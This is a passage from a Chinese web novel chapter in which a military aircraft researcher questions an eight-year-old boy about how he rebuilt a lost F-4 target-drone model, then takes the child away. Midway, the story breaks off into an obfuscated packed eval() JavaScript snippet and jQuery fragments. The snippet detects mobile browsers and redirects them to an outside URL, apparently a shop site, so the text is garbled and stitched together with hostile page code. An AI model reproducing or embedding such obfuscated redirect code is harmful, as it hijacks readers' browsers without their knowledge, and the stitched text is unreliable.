随长剑眉心一跳,示意随棠就待在屋里头别出来他去外面看看。
随棠点点脑袋,坐在凳子上把手揣进了袖子里。
很快他听到大伯开门的吱呀声,然后又是一阵窸窸窣窣的小声交谈。交谈声似乎有些急切,但片刻后又平息下去,有脚步声在接近,是大伯回来了。
正堂没有开灯,月亮也被云雾遮的严严实实,因此照明全靠随长剑的房间里的光打出来。
借着这一点点昏昏的光线,随棠敏锐看见他拧紧的眉头,便走过去仰起头问他:“大伯,是谁来啦?”
“是你大爷爷他们。”随长剑干脆弯腰抱起他,“大伯带你出去见个人,别怕。”
随棠乖乖地扶住他肩膀,眨眨眼道:“棠棠不怕。”
只是出去前随长剑想到外边湿漉漉的雾气,单手给他扣上了扣子,又把帽子给戴上才往外走。
没有月亮的夜晚也不是完全漆黑到伸手不见五指,靠在大伯怀里的随棠隐约能看见站在雾里的几个身影。
渐渐靠近,随棠也认出来,站在最前面的除了大爷爷随正德和表叔随长青外,还有一个他白日里见过开口说话的军装男人。
随棠歪了歪脑袋,疑惑道:“大爷爷找我吗?可是我没有小飞机模型了。”
稚气的话一下子打破几个大人见凝滞的气氛,随长剑也很轻地勾了勾嘴角:“棠棠,不是大爷爷找你,是这个穿军装的叔叔。”
随正德也忍不住露出笑容,怕他害怕,哄道:“棠棠别怕啊,这个是军人叔叔,是保护我们的,只是这个叔叔有一点问题想问问棠棠……”
“好哦,大爷爷我不怕的。”
军装男人上前一步向他张开怀抱,放柔了语气道:“你叫棠棠是吗?可以跟章叔叔去那边车上单独聊一会吗?”
随棠这才看见他们后面是一辆军绿色的小车子,又与男人对视片刻,才慢慢松开抓着大伯衣服的手,往军装男人的方向倾去。
随长剑等随棠被抱稳了才松开托住他的手,军装男人接到了随棠就折回车里去了。
“阿伯,长青,咱们到里头等,外面天太冷了。”
确实很冷,不仅温度低,还起了雾,加上随正德他们出来的急也没穿上厚衣服,不说老人扛不扛得住,单随长青就冻的有点抖。
等回到堂屋里,随长剑这才发现屋里头不仅他媳妇王英芬起来了,就连老太太和随宏也出来了,还在睡的安稳的只有几个小的。
随老太太连忙迎过来,“正德,咋回事啊?”
拿着开水壶倒开水的王英芬不由也看了过来。
随正德严肃道:“别问了,这事不是咱能知道的。”
“大爷爷,是不是跟我们捡的飞机模型有关。”随宏却是顿时想起下午的事。
如果是不能问不能说,那就只有那几个军官了。
随老太太和王英芬听得稀里糊涂,“啥是飞机模型?宏宏,到底咋了?”
随宏便看向随正德和随长青,见两人都没有阻止,就开始给他奶和他妈说起白天的事情。
只是随正德和随长青不知道的是,今夜来的人除了军装男人外,车里竟然还有一个从头到尾都没有露过面的人。
因此随棠一上车,就猛然对视上一双眸光湛湛的眼。
随棠下意识回头找军装男人。
但车里坐着的人先出声了,“竞泽,你去驾驶座吧。”
“是,郑总师。”章竞泽行了一个礼,确认随棠坐稳后关上了车门,从外边绕到驾驶座上。
一时间后座的两人都没开口。
随棠光明正大地观察坐在旁边的人,车里的光线不足,只能看清这是一个戴着银丝眼镜的男人。
那人双腿交叠,安之若素地仍他打量,等察觉到随棠收回了视线,才带了几分笑意道:“你好随棠。”说着伸出右手。
随棠思索片刻后也试探着伸出手,“啪”地一声跟男人击了个掌,然后抬眼看他。
同时迟疑的想到,他应该没做错吧?
他记得小胖墩以前就这样和爸爸击过掌,不过爸爸的手指是朝上的,这个人的手指朝他,应该问题不大。
但男人先是一愣,然后很快笑出声,在随棠疑惑的眼神里笑了好一会,才摘下眼镜擦了擦眼角。
“你好棠棠,我叫郑钦,你可以叫我郑叔叔。”
“郑叔叔。”
郑钦重新戴回眼睛,顺手把车里的灯打了开来。
随棠这才注意到自称郑钦的男人穿着一身白色的袍子,左侧胸上的口袋边缘似乎绣了字。
但光线还是不足,字也太小了,他看不清上面写的是什么。
郑钦继续道:“棠棠知道郑叔叔来找你干什么吗?”
“因为小飞机吗?”随棠犹豫道。
“没错。”
难道小飞机被他拼坏了?还是系统骗了他?
随棠敛下长长的眼睫,小声问:“郑叔叔对不起。”
郑钦眸光一凛:“为什么说对不起?”
“我不是故意的搞坏飞机模型的。”随棠抿了抿唇,但又忍不住为自己辩解:“我以为我拼的是对的……”
辩解的同时脑中也飞速闪过靶机图纸,但任他怎么看都觉得自己没拼错呀。
随棠想不明白。
郑钦却是坐直了身体,“所以棠棠拆开过那架模型?”
“是。”
随棠也挪了挪屁股,手指绕了袖口的一根线头来回扯。
“棠棠可以跟郑叔叔说说是怎么拆开的吗?”
“拿螺丝刀拆的呀。”
郑钦失笑,再次体会到那份简单的资料上写的随棠的年龄,一个才八岁的孩子,便耐心问:“郑叔叔想问棠棠,是怎么样发现可以拆的?是谁教棠棠了吗?”
随棠想了想,慢慢地道:“我发现机翼有缝,扭了一下就开了,然后打开了就能拿螺丝刀拧了。”
至于后面那个问题,饶是他再蠢也知道不能跟别人说系统的事情,但他也不会撒谎,干脆假装没听到好了。
郑钦也不太在意后面那个问题,或者说他只是顺嘴问了一句。
八岁大的小孩,还在乡下,有谁能教?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053205|194008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
因此在听到随棠的回答,顿时急切追问:“那棠棠是自己重新拼回去的吗?为什么要改变襟翼和减速板的方向?”
话一出郑钦正想给他解释什么是襟翼什么是减速板,但随棠接话了:“我改的不对吗?”
郑钦一推眼镜,“改的很对!所以郑叔叔想问问棠棠为什么这样改。”
这正是他今晚来的目的。
这架靶机模型实际上是参照真实的F-4靶机做的,但因为那架靶机是他们从m国截获的,到手发现靶机机身毁了好几处,其中两处就有襟翼和减速板。
因此他们研究所这段时间一直在尝试组装模型研究出损毁地方的正确设计。
中间也试飞了好几架,随棠捡到的这架正是他们试飞的时候失踪的。再加之没有按定位,只能派人挨个村找过去。
其中大树村跟他们部队和研究所就隔了一个山头,所以章竞泽他们也是选择先来大树村找。
这些随棠自然不知道,虽然系统给他叽里呱啦解释了一大堆,但是总结下来就三个字,听不懂。
所以随棠就用自己的想法给郑钦解释了一遍。
当听到随棠只是根据最简单的力和直觉拼的,郑钦彻底坐不住了。
“棠棠就只学过力学吗?”
随棠摇头,他现在学过的已经不止力学了!
因为之前就回答过很多次这类问题,这回连想都不用想,掰着手指给郑钦一个个数。
郑钦听得怔然,虽然襟翼和减速板他们研究所已经成功设计出来了,但这完全是两个概念。
他们所里的研究员不说学历多高,但至少都学完了飞机制造的基础课程比如气动,因此在飞机的设计自然也结合了许多知识面,才一点点地推断出合适的设计。
而随棠,连气动这些都没学的情况下,仅仅是用经典力学和直觉,就成功拼好了他们研究所合力设计的部分。
一种极强的预感告诉郑钦,这孩子在航天航空一定有极为顶尖的天赋。
他是一个天才!是比自己还要顶尖的天才!
郑钦无比确信,因此等随棠说完,他便直奔主题:“棠棠想不想看更多这样的模型?”同时心里也隐隐生出了一个念头。
随棠眼睛一亮,“想!”
“那棠棠今晚跟郑叔叔去一个地方好不好?”郑钦又接着补充:“明天郑叔叔就送你回来。”
随棠这才点头,“那要先给奶奶还有大伯他们说。”
郑钦露出笑意,看向前头的章竞泽,“竞泽,帮我去给棠棠的家人说一声,放心会照顾好孩子的。”
章竞泽没多问,径直下了车,忍不住腹诽,不愧是郑总师,一张嘴巧舌如簧。
事实上他们今晚本就打算把随棠带回去。
甚至说难听点,可以叫控制起来。毕竟F4这个项目算是目前所里最重要的一个。随棠拆了模型机就代表已经获取了里面的结构设计,部队里自然要把人调查的清清楚楚才能放回去。
但现在经郑钦一说,人小孩也变得心甘情愿跟他们一块回去,挺好,省事。